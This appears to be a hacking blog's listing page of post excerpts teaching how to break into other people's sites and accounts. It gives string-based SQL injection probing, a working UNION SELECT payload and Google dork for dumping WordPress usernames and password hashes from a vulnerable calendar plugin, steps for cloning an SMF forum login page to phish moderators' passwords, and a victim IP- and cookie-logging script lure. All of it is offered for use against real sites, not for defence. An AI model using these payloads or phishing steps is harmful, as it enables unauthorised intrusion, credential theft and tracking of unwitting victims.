String Based SQL Injection Full Tutorial

Some days ago I posted a highly detailed tutorial about sql injection. You may face some problem like below:

www.site.com/index.php?id=1 order by 5--  >>> no error
www.site.com/index.php?id=1 order by 100--  >>>no error

If you face this kind of problem you should use string based sql injection. Follow me:

www.site.com/index.php?id=1' order by 100--+  >>>error

For string based sql injection give (+) at last. And add (') after value like id=1'

Example:
See the pic below.

I used order by 100-- but there are no error. Now I use string based sql injection. See another pic.

Yes. We got error. Now do other action as usual. Get mysql injection tutorial from here.

read more "String Based SQL Injection Full Tutorial"

How to Get IP Address Of a Victim [Best Script]

Hello for hacking a pc or hack someone it is needed to know victim's ip address. We may face some problem about that. Ok today I give you the best script to find the victim's ip address.

What is needed?
- A free web hosting.
- IP caching script.

About the script
This script catches the IP addresses , active ports , Cookies , Web-Browser name , Date and time on the victims computer etc.
How to do?
1. Create an account on 000webhost.com and into its member area.
2. Now go to the cpanel of your domain.

3. Then scroll down and select file manager.
4. Now upload your ip caching script in public_html folder at .php format.
5. Now create a .txt file named logs.txt
6. Give the script link to the victim and when he click on the link you will get ip address, cookie, ports etc in your logs.txt folder.

See the demo pic of this script

Download the script
To get this script click here.

read more "How to Get IP Address Of a Victim [Best Script]"

2000+ SQL Injection Google Dorks:Web Hacking

Hello whats about your hacking? Today I provide you a huge collection of google dorks for sql injection. I gave you a tutorial of sql injection. You can get it here. So follow this tutorial and use google dork.

Google Dorks for SQL Injection

Happy Haciking.

read more "2000+ SQL Injection Google Dorks:Web Hacking"

How to Hack an SMF Forum

Simple Machine Forum is a popular CMS for community forum. Today I share how to hack an SMF forum.

See following steps:
1. Go to the SMF forum which one you want to hack.
2. Click view>source. (or press ctrl+U)
3. Copy the source code and save it as index.php
4. Now go to the login page of the forum.
5. Again  get the source.
6. Copy the source code and save it as login.php
7. Make a file named passwords.txt which is empty.
8. Upload all three files in a free web hosting site.
9. Make a moderator or owner of that forum login to your forum.
10. After he login or signup you got the password from passwords.txt file.
11. Now login that forum you want to hack with a mod or owner id.

Lolz. Enjoy.

read more "How to Hack an SMF Forum"

Hack Wordpress Blog:WordPress Calendar SQL Injection Vunerablity

WP Calender is vulnerable to sql injection in wordpress. So Follow my instruction.

1. Go to www.google.com
2. Dork:"powered by WordPress" inurl:"/?event_id="
Search it google and select anyone in a new tab which you comfortable.
3. Now after 'id=' use the code which is given below.
null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2
8+from+wp_users
4. You get the username and password. Password are in hash form. Decrypt the Hash.
5. You can login in www.site.com/wp-admin

I hope you enjoy the tutorial. :-)

read more "Hack Wordpress Blog:WordPress Calendar SQL Injection Vunerablity"